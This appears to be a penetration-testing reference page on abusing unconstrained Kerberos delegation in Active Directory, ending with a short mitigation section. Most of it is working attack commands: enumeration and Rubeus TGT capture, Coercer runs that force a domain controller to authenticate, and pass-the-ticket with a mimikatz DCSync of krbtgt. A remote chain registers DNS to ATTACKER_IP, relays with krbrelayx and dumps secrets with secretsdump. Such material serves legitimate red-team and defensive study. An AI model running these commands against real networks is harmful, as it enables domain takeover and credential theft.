Unconstrained Kerberos delegation
When "Trust this computer for delegation to any service (Kerberos only)" is enabled on a computer (or, rarely, a user) account, the KDC embeds a forwardable copy of the client's TGT inside the service ticket sent to that host. Any process running as SYSTEM on the server can extract that TGT and request new service tickets as that user to any SPN in the forest.
The host becomes a ticket collection point: compromise it once, then wait for (or force) high-value Kerberos logons.
See the diagram on Delegations overview for the trust direction.
Default on domain controllers
Every DC computer object has unconstrained delegation by design. The practical attack is almost always a member server (file server, legacy app server, Exchange, SCCM distribution point, etc.) that admins or services still authenticate to with Kerberos.
Who is in scope
| Requirement | Notes |
|---|---|
| Control of the delegating host | Local admin / SYSTEM on the unconstrained-delegation computer, or credentials for that computer account plus a remote coercion setup (krbrelayx). |
| Victim uses Kerberos to the host | NTLM-only logons do not forward a TGT. |
| Victim is delegatable | Not in Protected Users, not flagged as "Account is sensitive and cannot be delegated". |
RID 500 Administrator | Not protected by those flags even if added to Protected Users (SensePost, 2023). |
Enumeration
# PowerView
Get-DomainComputer -Unconstrained
Get-DomainUser -Unconstrained
# AD module (computers)
Get-ADComputer -Filter {TrustedForDelegation -eq $True} -Properties TrustedForDelegation
# LDAP bit: TRUSTED_FOR_DELEGATION (0x80000) on userAccountControl
# BloodHound: "Unconstrained Delegation" / edges to such computers# Impacket
impacket-findDelegation 'domain.local/user:pass'
# NetExec LDAP module
nxc ldap dc01.domain.local -u user -p pass -M find-delegationPrioritise hosts where tier-0 / DA sessions or DC machine accounts are likely to authenticate (file/print, backup, WSUS, Exchange, SCCM, monitoring agents).
Attack chain: compromised host (Windows)
Typical path: own a member server with unconstrained delegation, capture tickets locally, coerce a privileged principal to authenticate.
1. Confirm delegation and compromise the host
Land local admin or SYSTEM on the target (e.g. FILE01.domain.local).
2. Monitor for incoming TGTs
From an elevated context on that host:
Rubeus.exe monitor /interval:5 /nowrap
# Optional: only high-value names
Rubeus.exe monitor /interval:5 /filteruser:Administrator /nowrapSee Tool cheat sheet: Rubeus monitor.
3. Trigger Kerberos authentication to the host
Passive: wait for an admin or service to open a share, RDP, SCCM push, backup job, etc.
Active coercion: use Coercer to call vulnerable RPC endpoints (PrinterBug, PetitPotam, ShadowCoerce, DFSCoerce, etc.) and make a remote host authenticate to the unconstrained server. -l is the NetBIOS name of the listener, here the compromised unconstrained host (FILE01), not your attacker box.
# Optional: see which coercion methods work on the victim
coercer scan -d domain.local -u user -p pass -t dc01.domain.local
# Coerce dc01 to authenticate to FILE01 (Rubeus monitor must be running on FILE01)
coercer coerce -d domain.local -u user -p pass -t dc01.domain.local -l FILE01Run from any foothold with valid domain credentials; the coerced principal is usually the target's machine account (DC01$).
4. Use the captured TGT
Rubeus prints a base64 TGT when monitor catches one:
Rubeus.exe ptt /ticket:<base64-tgt>
# DCSync as that user (if rights allow)
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt
# Or remote admin
Rubeus.exe createnetonly:cmd.exe /show
Rubeus.exe ptt /ticket:<base64-tgt>
# In the new window: dir \\dc01\c$S4U2self (optional): with a user TGT, request a service ticket to the victim's own machine and obtain local admin on their current session host without DCSync. Useful when the ticket is not DA.
Attack chain: remote
Use when you have credentials for the unconstrained account but not shell on the host (common for dedicated service users; computer accounts can self-manage msDS-AdditionalDnsHostName).
- Add an attacker SPN on the compromised account (
HOST/randomspn.domain.local,HTTP/randomspn.domain.local,CIFS/randomspn.domain.local). - Register DNS for that name (dnstool, or RSAT tools) pointing to your listener.
- Start
krbrelayx.pywith the correct long-term key (AES256 for computer accounts; RC4 for user accounts). - Coerce the victim with Coercer (
-l= NetBIOS name registered in step 1); krbrelayx decrypts the ticket and writesAdministrator.ccache/krbtgt.ccache. export KRB5CCNAME=...and use Impacket (psexec,secretsdump, etc.).
From Linux
addspn.py -u 'lab\FILE01$' -hashes ':NThash' -s 'CIFS/randomspn.domain.local' --additional dc01.domain.local
dnstool.py -u 'lab\FILE01$' -hashes ':NThash' -r randomspn.domain.local -d 10.0.0.50 --action add dc01.domain.local
krbrelayx.py -aesKey <aes256-cts-hmac-sha1-96>
# SMB coercion (default); use --auth-type http if krbrelayx listens on HTTP
coercer coerce -d domain.local -u user -p pass -t dc01.domain.local -l attacker
export KRB5CCNAME=$(pwd)/Administrator.ccache
impacket-secretsdump -k -no-pass dc01.domain.localFrom Windows
setspn -U -S cifs/randomspn.domain.local domain\delegation_account
Invoke-DNSUpdate -DNSType A -DNSName randomspn ATTACKER_IP
krbrelayx.exe --krbsalt 'DOMAIN.LOCALdelegation_account' --krbpass 'user_password'
# SMB coercion (default); use --auth-type http if krbrelayx listens on HTTP
coercer coerce -d domain.local -u user -p pass -t dc01.domain.local -l randomspn
# Convert ccache ticket to .kirbi (e.g. on linux)
cat ticket.b64 | base64 -d > ticket.kirbi
# Add the ticket to your session (you might need a netonly session)
Rubeus.exe ptt /ticket:ticket.kirbiCommon pitfalls
| Pitfall | What goes wrong |
|---|---|
| Expecting a DA user TGT from DC coercion | Coercer against a DC usually yields the target's machine account (DC01$), not a human DA. Still powerful (DCSync via machine account rights, further relay), but not an instant DOMAIN\Administrator user TGT. |
| NTLM-only coercion | No forwardable TGT in the ticket; delegation abuse fails. Prefer Kerberos-coercible paths or wait for real Kerberos logons. |
| Protected / sensitive victims | KDC omits the TGT; monitor stays empty for those principals. |
| RID 500 Administrator | Still delegatable; do not rely on Protected Users alone for this account. |
| Wrong key in krbrelayx | Ciphertext integrity failed: computers default to AES256; legacy user delegation accounts often RC4. Supply /aesKey, -hashes, or --krbsalt / --krbpass. |
| Insufficient privilege on host | Rubeus monitor needs admin / SYSTEM to read other logon sessions' Kerberos caches. |
| DNS / SPN lag | Remote krbrelayx: wait for AD DNS (~minutes) before coercion; verify with nslookup. |
| Treating every UAC host equally | Compromising a print server nobody uses is a dead end; target hosts in the auth path of DCs or admins. |
Mitigation
Remove unconstrained delegation wherever it is not strictly required:
- ADUC, computer, Delegation tab, Do not trust this computer for delegation, or clear Trusted for delegation in PowerShell / LDAP (
userAccountControlwithoutTRUSTED_FOR_DELEGATION). - Replace with constrained delegation or RBCD scoped to specific SPNs.
Protect privileged identities:
- Place tier-0 / tier-1 accounts in Protected Users (blocks TGT delegation; does not apply to RID 500).
- Enable "Account is sensitive and cannot be delegated" on service and admin accounts that must never be impersonated.
- Enforce tiered administration: no interactive DA logons on member servers, especially those with any delegation.
Reduce exposure:
- Inventory regularly:
Get-ADComputer -Filter {TrustedForDelegation -eq $True}, BloodHound, PingCastle. - Prioritise internet-facing, DMZ, and legacy app tiers first.
- Monitor anomalous Kerberos TGT export / DCSync after auth to delegation-enabled hosts.
Legacy apps: if unconstrained delegation cannot be removed immediately, isolate the server, restrict who can authenticate, and treat the host as tier-0 adjacent until replaced.